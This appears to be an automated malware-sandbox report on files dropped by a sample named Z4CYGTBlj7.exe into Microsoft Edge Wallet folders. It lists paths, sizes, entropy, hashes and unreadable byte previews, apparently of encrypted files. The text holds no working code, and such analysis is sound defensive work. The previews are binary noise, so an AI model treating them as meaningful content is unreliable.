Preview:	{. ...fp.n}.....jcc)r2..>...l&..ja...k....Wa".!.C.r...9...{.g..e...%TD.G_H..xg.a....U..g..\|...G..Vw......p.I.....89%......Q..C.%...7.Plz....'...%...om.8..Nbs...B'.&OHI.p&M..eY.....~>L..W..X....m..=.J.O...V.....5..M#`.Y..M.2:q....l.\|qv....,.m!...GKG.J...V;.\|.D...9..4::..Z...U=...bp..b.......nE..V.6a.....hC..U-...5...^K_...:I..0..~.^{.......g.o.{C..R'.R..a...W...e.W?..[.....oc.f....g.at....#....p.&..R%.........O.[.A.0........T...8...........8nE..#......w..4....{.jvmrp...o......xZv...6.Fz.D..k..L..9.1.k.f.c.2..`h.-5....gZ.h.F"F.?{h....G.I.@..7M..zm\7.H%kcnz.....=.B..(n..............V...v.h.b....Yu.....};..6./1.S.z.2>d.P..e...F......7.....>.z.DU;X.......b.MQ..^.\2G.Gq..a[.V.xj.....<l.:.r..F...~..L.....v&n........g%.9....9g.z.'....b...9O].k=J...Yx.....V...$I.....p..+~I.j.....x.5.z.(...9...<.V.L...^.U......#....#...J..}z).{..:jL..ds.].~.=.!..P.....!F.%..\.1...i.h.I8.+..QAe..h....\.'YH(,.v....lB.P.b.[.n>.h.5."2.;~".7..9.@......8...r9.r.=3.S....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	511701
Entropy (8bit):	6.018108301402341
Encrypted:	false
SSDEEP:	6144:zLbnhKVH+r5Am/scvJHeiKtVmEBkmWH3+klkfzTOJHYUbHG+FZ8QTHNGs5AeCm:zLbhKVI2G1eiKnTk6bfoGQ8+eet
MD5:	E55726D2FB20E8909BB910B217C649A1
SHA1:	CB28CE9DD947012874451E5362E0AE7D5660CAD1
SHA-256:	ACCFDD706E0F648C5956FC43BE63E2CBBE8F547ABAC566A97FF5E664B3D72709
SHA-512:	EB2E051B6C27E76D44A15ECD11D32D8FF5BAA5033785DB016040C51C39026895234F7CCE4631619FFC357E08F77E03713E1B7C95CE46616ED9C401AAF5F02C5F
Malicious:	false
Preview:	{. Se.....c..-.......4.x.O.g.6........8.'...+.W..!...U....^G...'..:.e.".V.!.48/$.._....6..........._Z.`w.I.....>........&.Q.H.......p.kd.%H..s...$.E.y.n.4.n..$.......w.F`Wy.w....N...y}..XY....z.<....j.qb....I..^..vLn!5+...Q.A.?...IMl..j...5kG.o...p&....y....8..n..-S.........?...G...L.V......Kb.J.A.G...I..@.......U..:.] k.RJ..bs.h.[....`..j......,.....%.T..}.......a.&"XM..T.6._..bY.....NA...^<...#.-s(.......Y......T...-...<.9q.&_n....kPX..6.k...D.NA...;.+...Y.;i.N..oW...G&...".B7]$l......n#c...h.-.9...`.!Jz95J.h.;\.}..._..../{Q....\..N....?........-r....."8.^1.v&v..4..Y,.K....@..=..b.M........ ..v..1bk.\|. .IBV.....D.s.0.#...r...\|.X.T..$..X\.Sg.eG.....~...e.EM...k. ..hF..&..2.a....`.7..1.X.%n...1.+...9.&....+.:.!...T_.y...'..q....KaV..R.....3..(...-.....)..y.(k.5..K..!U........."...^CYg...d......"lz..>.KV2...D.9..$.B...uA.8.....'.&9.)....\|Y..t..".H.....8a...s...&.6..$..d=.u....$o.N<T...H....!m;....;..2E..G..^H~xT.#.._2..Ph.c.s

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-notification-config.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1060
Entropy (8bit):	7.796000400982041
Encrypted:	false
SSDEEP:	24:D1lxxHhxjTN49ugEJClOp5kUZsmDPNnR90pV25JsbD:DDXHTS9ugEslOpBlPx0pV2TmD
MD5:	590043D7F54D27F6B13639308D72F22E
SHA1:	6598929DBDEBA3D1834FC8F1A182AA115ACA41FD
SHA-256:	5130E50E60A7BCEFDC7C255C536D4D5E07CA9CCA4F34664BBF5FB09C03815206
SHA-512:	4FC7C154047F06EEAEE118A32D7D250C01C17E88C00CBA6B31C20A6088E0F38DE3FD7F7305D79DBA925FE85DFE375A795767D7F71155C72E17055F116AC4DDA4
Malicious:	false
Preview:	{. "..u.&...fS..9..."..x.}.{.a.V.I......s.15..f1Q..........;nx...{..$.K..;...L.....0..U./..\}.}8F{..Q.....;P.rsr.q.....I..1.....+QG..f..B% .&.{\|.L0.AM.H..'..o.A...PV..f.......%jxK.\Vw.PchJ.d.Pl.....I$..^...J;..G.c.f..3...Kcu.<...C{.j.I.#o....k.t..7....d.sf.......s...H.....~>..e580t..\|..x.....Br..N....J.!.B...;T.....C..rCP......n:\.F.....m........R..q...."..jL+TQ...<.{......k.\..'.v,.6q..L".W........P.'Zi..K..........q% ..i.R.....(r6F..5F..F}z79.$...4o\|.l...'.~..9.......ML...#...S..J.....<.O.b.\ ..B.y4;..9!.....!......9X.......L/ .._.o_..i.I..D.ID..G...t..@Tn...yq e..../...>&.....KA..m...3...b..:(..t..a..0N..z.!ST}L8.A..4].b.{..^a.,e&D.n$t..^..f........Q.h........"^.V9y..n....P....G.h/+$...[.......'.=W.t.R.......7../.F\......q..}Xo...1.@.%......e....PE.h..........~...Q\h3.3s+.&j....6A....."y...\....iFZ..'d.....,.0..#..@x..'v.}_]..r.(k......?:...IS.4.8.....a..r9...S..D...$._.:$.%.B...0....Z.....+..!d...(.8Dvoqx3bvfv1GNOXwQ

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-pre-stable.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2333839
Entropy (8bit):	4.65702760674983
Encrypted:	false
SSDEEP:	49152:NyvzSsNUFYSiXPjpqxbq9emiTQuyg7oM2e8P/bzET:NyvzLK
MD5:	E69336A2E9D30F2DEDFFADC37ACB827E
SHA1:	AAF10FAE10BAFE8A81B04BE2D532002DFB748A83
SHA-256:	D7D7F2DC2B525DD45E95E775B2D285B7779E9EA7AF7EB3EEA43382F70861BD2F
SHA-512:	0B207607FDF32205F36A7BA448CABEE0209A9AAFE129C98A62869E5066AC8539264EFDCEC7F429FEA018BF2F2C55F967E0F36093F3BC5EBEE00187861B01BCD6
Malicious:	false
Preview:	{. ":Q...S.0'F4..`.].v.uA....=i..yT,.ZT^. ..o1j}.T....x?f......4.P....E....ON.T.g.9.M^.......'.3........XF=&.....~..A.L.....;.W8...C.91.....j/..!...Q..r.t1(..oQ..\|a........$....7..'..R..Wi...Q.....P.F0.m\0..Xq.. m.'L..d.^.8.++.d....(?....bm....0...&4.......Hyc........5...t.D.Y..7..c.O,..i..8..S..yg..:.~.'.$...j0..Q.......Q.A]-v..R.l..H~.l..s........q.t]..L...-Fj..&....A.:..9...Q.....J..j....N!...9....r.E.......u.j..:+..Q.s.YymIP8.M.C@.r.!o.m..}r...J?2L.ln..[.%v+..W..O.V..e..f..c._)......;.y{...6...`../..Y.........!..].....t.6.w.(..I..;.J.(^lM.....;.$.B..5S.Sv.).y...wl...^.BRQ8......2......T..l7.i.g....C7..{".C.E+..k..t...n.l.~....d.UW..h...s.....J....5..{..p..8....%:]D..."/.gv.......SH;."Ww..'..t.+.LN..p.J\|...`494..u._d..~W.X...&c.}....#Y....K.....:'x.}..ie........r.......L.c...+/#eo.Z..P.....<.&..5..CW(.7.G.o.#wyw..^..c7>...Y].....M...w....a......y..EB....!...x.=.\|tGY6V..v6.t..:.G...4.t..Y<..1q..A#,........2.(.*6....>.<a.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-stable.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2333839
Entropy (8bit):	4.6571598460470005
Encrypted:	false
SSDEEP:	49152:rQuT9mFYSiXPjpqxbq9emiTQuyg7oM2e8P/bzEp:rrhW
MD5:	49891D570F864A812320EA5B6B2CF8BD
SHA1:	8CA08D11183BBB593A3D448FFB2767F651EA9B73
SHA-256:	10A49CD18B6DF7C46BF6CB1A6E413C0184B3ED239BB11FE3A01B6E141311FF3A
SHA-512:	868D1CCFE032A0275DAD3D5959AB99322C55B26E4B99D837E08A18DBFCE613ECB90A052D99B0C978BB144AC960A06D98A509F291577B5E30D3B3B460AA006841
Malicious:	false
Preview:	{. ">.Sm....J.]n9;..o.~9..!.9..R^T....)..Vq...M~.Z..."K.j.3...U[s.`.Y.?7.n...\Fl86K.........}....}..=.)...^.A.!v..j.".t.A/u..Y..).....0%.R....6!.g.hmn!YmP.l...e....HC.r...u6.....s......[...^]..vH...4PL.Y\|.....p....u{iF. f@.....A........"z&..A...HK....6.'.-.>^i.......\|..;..7.p$...,.%.FJ...I...._.'jT...>..T%...Z...i,.oQ.._.v..BH....LK..&..........ow....D....L..{..m.R.:.'..K.j.JA......\|j...w\|...E.j...JY.=......0R..O...../..]...[CP.l .qj(...y>L@..&f/_...L...s..{..[.2..^.`$I.$...T...\|.D..+.JE....Z......"......N...o5..d_.u,..........0.j/..i`Sx6.......v\c=;1..;..T.B.g;..X..y...)%.D..~..!tUi.Q0.@...hO...2.y...!..;..W.`.O$C$.... i....r.!<.mq..{.]...W...u.....(3S.Q.5.MwD.K......PJ59....u.N..q..kZ...R.j.........U..B....uk..i.{...dE<.>..2MW....'S...5x.6.9n.O..f\|/.4....I...5.g.S.U...X ~....o.*..OJ...^nA_..B..e....0R....u:."..k......n.#..\|R..x...Mj.\Ju.z.?d.a\:....1@.?AtHM...h....d..-..a50.....[.v)..V].....L-.u.r...1....>:..x.w..1.ZB`...!

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-tokenization-config.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	24582
Entropy (8bit):	7.991599069319807
Encrypted:	true
SSDEEP:	768:8SsGyA7m5QoQCWEoed4uSneX+OL6vITj6bqjn:8VGt7aQoQCDoo6nOGIT4qb
MD5:	E18916FE3166B3D21A2BF5F4BADC8DD9
SHA1:	184AF0FC287C0CAB99E79CB140390479B5A970C7
SHA-256:	8B64AB6AEF85665B61BF2E75532C9C3495B94C917859D23D9CFD26BEFA1407EA
SHA-512:	077654755B5CEA0D68EB5DAC3D02435FB690602ABB8543D813A2BBD5CE1B18EFAAFF2CD9B4C3351D4EB9839CDEE8BA559E79F821DA5694EC82BFC3990C46369B
Malicious:	true
Preview:	{. ">......z,S.6K...9.........K..i....#:.YaK.....`.L.....'......a.H,.t......9.~.a..@:Y...t....C;....wYp%C......:.7.......i..d....i\|..ql.....(..$..~....f.P....p..T.....=.Jl..q.#.)x=Y..N-..........9g. j-=U'H....`<.....d..h...l...x.$.J..Ay.s`.l?..3b..B.T3.<(.C.6R=v..pgvM....Q.).;.$x.mg6. .z.LX?.^.a[..i.$....eE-...Xe ....CQ....,(-.......8..b.....C..:...~.......+..#.]/.K...>...!.:Y.,..ce7diF.h..N)..R'd\|]P..Wju.[.1...e......~\;..F.......$.\|.....M......}....*t.C....(t..:..8....^...r..K1:.....W/..H...;..C$.V.uJ9...$.r.5..0W..Vi....SR.D.G.U\|...9..rc....l.%>......y9...,P...8..vR.J^...%'.........F...A......py....7..U..C.7....cj.....h.d...y0r6T]&.P`...?;...1y.......w".b.._...j..hg......t.S....)2.[N..PX..oN6..t.T.w.Y.QFY...w:Q../...D.$s.V.....(.....E.....1...,4.S.,.~i.....]A...^./...Qw..q. .G...E.{..>.....\...z`(.....1+.>-I...j.ft...G.E...+.....r!.FL....&$B^B..f;M..`K.o...Q.~K.s....H=...C.O..@.)...........").K%4S@.kY...B.{..2.e%.s....y2B..H.Jd.2V<

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\load-hub-i18n.bundle.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1666
Entropy (8bit):	7.869114424588105
Encrypted:	false
SSDEEP:	48:ob6v3hzV6zEuVtSAIWuie67gcIh5C1owzYiescUmD:ob6ZY4uXX9XngcIh01FYRscU+
MD5:	9B661B30176349FC7A0C174D9BF165B3
SHA1:	48C6626A622C2DC8D8C910DEC2FA7B5ED704C84E
SHA-256:	6C51DC0DA0F255E85DDB741D44A978CF3FFC4D227C32E5996BB0B8B8971CF6EB
SHA-512:	78E24FB002FD946659C2A7D38C9182F708E22FA7AD95A0CDE6E3D3D908036B936C158C3F5D7E17207C0AD416596D7937915E78DBEECB5B5953C9C573E6EE45D0
Malicious:	false
Preview:	"use NU.K.r....(..`...lH-.+...)..v@..:.jn....aD..,....B...\....a'.=.V...&WE9...g.Ak....5K1......D.k .S.Y.--.4..N....w.fF...C....B..~.....rF..c.4...<....@.\r)....x..5...]&......A..bq...-Z..<.U.IQ?mb..m..e...].K..X.y<S^l.fB.z..b.o/X.%.J}.6....8....fD&....[.{.....V-.S....C..:o......Iy.O6...iU...).\. .......Y.@d.d.4hG..R......{C.{..U....$...7..5........I..O.\..........Ulmm.R/W.Ju..pa........k.={...C.b%JS.h .l6..=..!....>Y.....H.....b...0.....sx.=1.k..........g..M...djo...k....f....S/..{S...e.:0....F>..l..'...T...E..Q..,@.\|.x.d.F.5.,....8..E.,.9..p/.\D/...\|..I.....I Bf ..F.HMD^..~.o.Z..Z....(..%..U.\|...Pf5Ow_......!0.e"S....U?...K.f.^.90H#g'...[...?........P.`.S...b..n`+.ooI\9..B.89.....>.d.p.....j>N....\=..@.........Rn....a....]3..k......z.....-e}...T.......4...(}.K...q.^."[..7.m<l.s....7Q....Z..{....@.Z.....'...8]..#?... ....'..}.Y...9..E...>..5.TJ..@[P#c9}...R.viy,....z.5.......O..o.R..S.&W.x....4.....3~...I...GZ...[.sQ.]3...C..b\l.j{E....!.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.415900831297407
Encrypted:	false
SSDEEP:	12:X1hTqqoLxRzCC73n/muJOc/AD02q6/nMitQscii9a:lhTqZ/v3n/m/c/YisbD
MD5:	99562D45AEE753357938A9FE5A8C3B29
SHA1:	B0CB8F5A6C37932FE9D7D93A105C95E00B07AEBB
SHA-256:	7A5A2A7A49BDFFE24E398397E75EAB60A7962DD40AC440F9CFB16DE6C2486051
SHA-512:	C8EA01842C21B49666DC56DF0A11285EC42434B681658E7BE98BE6BAA1CCF9EAF21E97E6F6DB0FF360140C223CD966CDE4C35EB63F3897819D5DEDC04E0F3332
Malicious:	false
Preview:	1.D38...I.c.jG..J....Y\|@........O...P...../.....O..J.....hj...w.......o....9W.(..m.R..T G..%.."...$D.{0@(.vF..{...?.?.o(;.;,....<Qx}JY.H.i..?i.[#].}.....jlV!C..4.j...1.;.v...._.Z._.,K.H0wq....~!....x.VPA.'..~v...........Z^......2.[C..xl..T...[.....0...C...;.t.0..f!q.'.!...?$..1....\B..y.._.W.............".-I..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\manifest.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	456
Entropy (8bit):	7.487709711632314
Encrypted:	false
SSDEEP:	12:MrOd2xM7hIrabYm2flTE2vF7nMuVOPtNIhu+UQscii9a:Mvxsaabl2537nMOOPt6JsbD
MD5:	BE0E3CDFE655CF578F40474E18B6BF04
SHA1:	693B259719F77C18116FCA239A27FD3DC78CA131
SHA-256:	63A16674306664677FCDA1181A66FC09D88F7DF9174897D30EA263C67B1AE645
SHA-512:	B282C988DACF95C7D3722EBCE1EAB8BA25AC0016A64B141FE9BFE24691C88626A2D34F7DB01D23DA856C5014DB93C24865A2C74100E20A2B801729F7053D3EF8
Malicious:	false
Preview:	.{.a..IqHNi8.t..u3.....".tq.j].E%..]q..:....k........"b...8&....w.G\|3.x....xr.h..`...n..P".......(St..B..!\|x3...Uh...I.6}.....MBY)1...Z.k.U#.........l..S...>vi..../...2J7..B.....c.5....~9.sW ......Dq...Oyz/j...o3.......R...X^.....o..-.c.z\g.q.z....=...B}........@b...L.(.a........#...AR......lw.s..u...3Dk...GOU..!`H3.....+..X...JO.....A..[.:7...........8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\manifest.webapp.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	653
Entropy (8bit):	7.673846463158614
Encrypted:	false
SSDEEP:	12:xWOb1LmWmWxZvu9KGkJdstycr4hJ4JsSPAX9N/zyhgUQscii9a:xWO56WwZKStyRMsSor/zg2sbD
MD5:	5F7E216DEA2B787DC0FFE75F2AB75C5A
SHA1:	75E48B6B8BF058218077E5FA6546C57094D8650F
SHA-256:	DB4893B753A089FC5D121E0D1BC18F053F69B1ADD251189CF05FDC5A26D3958E
SHA-512:	9D7B8F30A2F89436F44EE1F02001185AC3D19BD4C577BF149B39C80E95DBD3CBF57FEA469D55260892F267B757A23BE98FF7CB137251401475DBB78708CBEA17
Malicious:	false
Preview:	.{....(5.O:F.......H`.+...B.....y..Akj....!..a/[.,.O....e...._v.@.Xc'.j0.}\.s...F..Fn.....jj.l..0.A.~..f.CB......C1}..RS.m..w.2..?......8..lbs%(..(.<./a. Tuq3....o.[..VU.+Y)..(Fr...J:.2{...Z.0...8...`....E\|.e.\.T............<..^..T@.A.i...,.&.3.(Z,..X......L.D..9.i..-.ai2..v..1d7y....a..Ph&.DBl...4)a#E...C.q..P.......Z.Pt....Rd.%.o~.d.{.FU....O..'^1..%..+..to.H...w..-.(Mn..7..&C..........jg.ll.\....y.. .4..G.E.C.X.a.OD.9.....sh.:..n../L_.?....l.<.......1.......#.n...P..Q..>u0..S.=4.=.y.dFY..'.I..../.ca[.=_........H...7...=g..M^...G..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\runtime.bundle.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2476
Entropy (8bit):	7.922857366492151
Encrypted:	false
SSDEEP:	48:UenM6HGyOcYfYDWWQWd3OKScJd5MIG/xntN54erPhW4GcxJn9/mD:50yOXfSWrq3OK7SIExlnrPhWsJZ+
MD5:	9D0A0887E1279DA16B5CD6045485B6FB
SHA1:	F94CB2C38658248A8E546F5D0C7E395E9E870657
SHA-256:	0A3035D7396A128AB5F384FA7D31F0EC94B45E73CDAB5FEC91D894946929B19B
SHA-512:	1BAD430F2C166E948C0D1D576A2F93AB3C08DA43046F46602E97946A9754485F8D76A6A60B21BAEEE8305004B128BD32A1F99592B0074367DD69B3491877528E
Malicious:	false
Preview:	(()=>...A...n.B.c.<..M.9..v.rx...&.'=..(..E.i.UG2<.2/.U\..i.+>..^..}.I.....Y......_......?p..2......m.......]BPZ.U.K.$.._'.t..:..I.....Zw...2/....\....8.c..\.&..m6.nW.hXzy.m.....8GN..C..bH..tL.<..(`./.U,...z.k59...OZ.c.j...d....~..(....~.....Nk.RK..b.R.r.....tVP...S...G..O.C.]N..8$/k ....KF.>.7.....X...=aD...G9D:.)....It....4I>o..;P0) r........@.'uyE...-....fr...V.Oa...o0".7!.. 2...8....7...."...377C;.JC.5A.+R..+.P.E....Gv...8....i.!eg.I....^...r.re...d].B..&.......... gW=.+g7O..#..m..).j..[L.....yEZJB...;..H.........I......aHI.....jap.2OkD.....$.e_..........4..#._6`[....Yq..e.......^n.>Y.u(.Lp...w..k...i.-.^ik..7......y.s.....O...`..?qr_..Qu..t.Umm..5DQj..&..~...... .>hej......1^m...J.....q......K......%.=..Y.........'..a.......QI.....u@.cm....X......<....rl..).0.W.+5!jA..`...N..s.g......)..y.I........&.T., X..F[..'!..P....{.,s..........k......u2.@....,.L....{7...\.c...{.D..,....!.u....u.\.T...X.(`.....~..)..8n.pp...W0........n..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	28957
Entropy (8bit):	7.993763570974528
Encrypted:	true
SSDEEP:	768:nZSMtCIq2ICCaEH+CoD7NcLX/6pUVYmCpHg4kkNA:M2ICCWCYCVo/A
MD5:	A427855D4F7D375D6696A9AB11AF4C78
SHA1:	B883060281F0E74CC014FF583BD2C07C50E31A24
SHA-256:	310AAB09F8D93C860D400692000677933A5EA0EE4B3F18B871AB219873F9C853
SHA-512:	10B2AD6EA4372BC0119C5BD959FAB3955433E889038BB99039635E0A81F8FCC03A29277BCFBE540F22677ECC57F7C4C6376A8FA56D3F66040FE166F96293A4D8
Malicious:	true
Preview:	!func....l......./.d..y.....kB.%.w.K5...n]7 ~..\.....{.G.H$mp..J8.f4.3.Z.M.QwGX..[.(>.......5.]p....G....x....j....b..A../..]gR.p..7...mF..GwB..<...-.f....F.1.!.T...n.).....B.j......H..@@..~`..Ap..G.rg..dj3"Z!OV.~..nk....F.....p........D.5..C_..R.o........~(wC..m.--dJ..k..r.].Q.(Q.<CR}scV..)..M!.....9Yd..h.+.b.G...G.:.b.Pv(..n.(+...]........o.......(.v.}....V=.Z......,..c... .j#D.@....$<z[6....c....f...q.+.\..p.A,up;p..l...VK}_;......d'NF.n.1'(....pz...N.,....W..f...U.aw..;..a&..U..).u..;f....{`.....#.-..H~.hv0Jz.....8B..4...j..%.d..... V..b..^a..wXag...w.(....O.O9.b.7n.z..0Y.I...i...5......)..z...8.]{.8.;....J....5....9"(..S..A2......p...L>...N.A..a.A.!w'..u._..K+.o.f...t3..0..D$0...u.8....R...lv.e../..8&h...'?.Dn.V... .X...t.2b..8...i.....V.bS...Q..!`.[..=..9..G...Jw.....P.B.yP.'.)w..... &k.c.Vhs..K...5lA.G9.Sh./.....\.M.T...Q....P.K.Y..@.^.2...o.+.,.U.$!>......".~.L.kMj......IIy.vCC......a`r...Z.{..."h';..-..d...O..6......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1441267
Entropy (8bit):	6.075383682688459
Encrypted:	false
SSDEEP:	24576:IoxeYjuxvUMriDrhm0YOR/jnKZ2FWsfI0fYFQhMjh5AkJSe3J3kJTEjucy2fQHek:I0eYjux8MrYpYOR/jnKZ2FWsfI0fYFQN
MD5:	EED386880C668BC8627D08F517733FF3
SHA1:	5C17B45D200633E83140BE51CA7D253CB7543DFA
SHA-256:	8715519B172B8487F1403DF25017CFF638A9A731F198B19D4DF6040F4C26861F
SHA-512:	9C3CCA0FDCD0904DD687AF5EB722A5317515D53023BAAA9F7AC1789C3BB28AF1A7BAE535754A6956A166D6B1C6C4EAF41C2DA6D0673C0AF537DED41DD7CB1297
Malicious:	false
Preview:	/! F.r.;\...@r.:q....L.(^.$5.wq...9z..P.....a.N...?k..3(..].:.W..Y...Si$....S..g1.y.~/...!......L..Z.A,.....~...+s..<........:L...@.v...n.H.v.....B.....y...Be....H/.'Y...)..W#0.?@....= .y..H.q..F.(0.s.N5./_._...o...^..V...x4..h.T-V.qhX.....\.faZA:e....L. ;!.^hf4.7.. ?.9...6..N.0.e.$=l....@...6U.....J...s.z=..F....N....1_.z..<.p%.{[fO.;..^......S...z.b../.....o...Jo..y>'4P......(...$q0. ..p="j.T7.2.....'..S.M.z./......1,..O...x..7.A.UR...........~.~.....i.......rC..v.=.S.ms..k...H..Q^....8h.P....C.....n....nzRYcz.=....-.k.Q.]..^.....,..(M..l_..S..........HN.o...<.~.:.........H.0....>@E!...`t...Z[..;..<5[....jg.B2..CV.....$'.....H1 .}I....3K.....(.h.c...{!....}(d..Y9.N,.S......@K..[...P.%Zy....e....5k....j.......H#l....a..).\......_.AuHF.({.K<L.C..L.....r;?...V.kT.M.g>(,....EA...e..`.\.A. .IL..yG.1l\|......}.@....'.$^.F.....;.I.@.L.T`.a.cdN= 2.j.........[.....b.d..9Z..]......#..".;6.9."....../..0.$..Il.q....`....U.r.L..~.XR;.......C.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2964
Entropy (8bit):	7.932781991493764
Encrypted:	false
SSDEEP:	48:095WMefzGN8SbqKuIZtLG5cXOQzU991cO72g7IUGeOtFUdLufqSKxAy+GXmD:0LWMszY8SrZZhXOQzk9p4FiKOxAy+GX+
MD5:	55717E368AAC750D40C916CE9326B3DF
SHA1:	52A617284DF55A724015F7C6DD1AFC4311A2144C
SHA-256:	0EEBCE56D2BAB0586600B62D50CD6BC9DA80E196563152395FC8115B1A37C8A1
SHA-512:	E7C7B7EE9BF3DD497C13434486E2766B87B630A1E8D4A5FE43567FFF06ED2D634BED1D8B5E497747001794BB6836E7FCF6CE4F5663B9FE5B1D71B2520FFB9AB2
Malicious:	false
Preview:	/.obH.Dp;=M.q.8D..2.I..]x.6....C(..T.2T..5..ceXz....;.\..2kO....k6Y.).V.....)d.M.T.e'..G&....%..........!Tp.....'.w.......M......z2k...s.u..y<...q...s...^Zl..;[..A.....'...Y...w..KG........I..1.?......N.L....@W...aj...7.h5.......6.:...o.n>.....1.T....[Nd.b..&.Z.`...>...\j..rFu@b"..R......:..........]...\.B,..R./q.R....q....6...5 ..%.cJnsd.<...R.nM..t..Ha........B[H.G(:.....c.D....~4.9AL$.z.I..O[\|.+...%:.g5...T..q...eB..a.:V. ...2.&..J.:.'.0.Tele\|GCX.D._<.....dh...W.K\..........._(b......\|.K.oOZ;...g.e.@. DR<=>.J`......L6.L]L\|<.p.uD(.z......b.g]..J.e..]..+*......)i..:..?V...a..E.XK.y<z...C.6.'...w.-'.u...2......>.}-..3...yw...e..s.....=.V...`y..O.'........Z/......HB.@..F.T9..0..."a.[iiF.I_].d.s.+._U..2.-.....lE.....l...r.H]W..THa5.P,.5WC`aa..B..W......;.W.,...8.......[..`..v&-.xM........MtX8......^l...U-x...YL.......6 ..4.)..W.#.. .....aH.......9...GUm.U.[m........r.h=[..D.A.......7.P.\|=.......S......m...%......C...qfj.....@....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet-crypto.html

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2350
Entropy (8bit):	7.929894092263283
Encrypted:	false
SSDEEP:	48:UpygqEVOEVOYQw8eMyj9OjdhqIXcUUFkUmBbnxsGoR/gQEizFBhLmD:KvOEVcjw9Ojdh5XcU2k/bxsGoRYQRZfi
MD5:	FF98715133BA524D0BFBB95092BD3D51
SHA1:	9CD4CBE14AE2801B34225CA8A96CAB72E29DBDCD
SHA-256:	717B12B4B92E1BBA16C13D04BC208519C6F71C09727F23DDCE3126270AC8CB41
SHA-512:	3A147CC3C11AA992DEE6F043BEF90162C6F5BEA08C91D816432E4CA40ADCA85E1A67E82B7834D7D8213C525457D848E122349AE0579EEB3905B94D4BDC8D4C91
Malicious:	false
Preview:	<!doc......\|.W}.-...^2,.OA.,....gN..O~.2..........u.R8b..M......_....\..P.b..:a..R....L..C.x..Y.[.....BF`....h...%.q...`.../B.gW7......`.?..k..+f.'O..s....b...t.. ....f..D.+.....{.....6...;.N..,.O.8...V ....Jy..M$...F.........)]5...F..R$Z...."..Sp!...n=c0%)......(...?.Z.CN.~..Y..B..{c....$.{.........8...........{..m{..R.A..f0>9.[..$.{UQ.....)%..iMY?.P.\...,c.Y=.r.jYR.a...m.?..UCS.~..F.!.4.mz3..(.(.D....DP....{...e.:@ht.\|...T9....y+ .../.....,..c..(..fa..d..X.G.'A....... Q~....aN..D$<. .T86..F&..$..&.5.dM...*...w.Wf...H\lP.$.}#\|.Km.......I.z...Y}..3...u....5.e5^Z..b..m.y..4["6kN.......^PR.~.4.<.ap...a....z]s..c..d.I).N..X........66R....$2.O.h..M.uMs..^`.....!..{.; .C..,,...=..........#S&k.r....6...i+...........\|T...b.A].^~.....b.r.......!Ju....]...?..R..s.....P......}.ah...t..q...Y.@`YJ......5..N.PL..85...,W...q!..u#{........\...U.....W.}.^.;.J.....%.jW ..j..b-.t.t.}.#Q.$E.d<@$......7\.e..SK...&F........b.w...UC..k\......29..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet-icon.svg

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2052
Entropy (8bit):	7.9069472759967265
Encrypted:	false
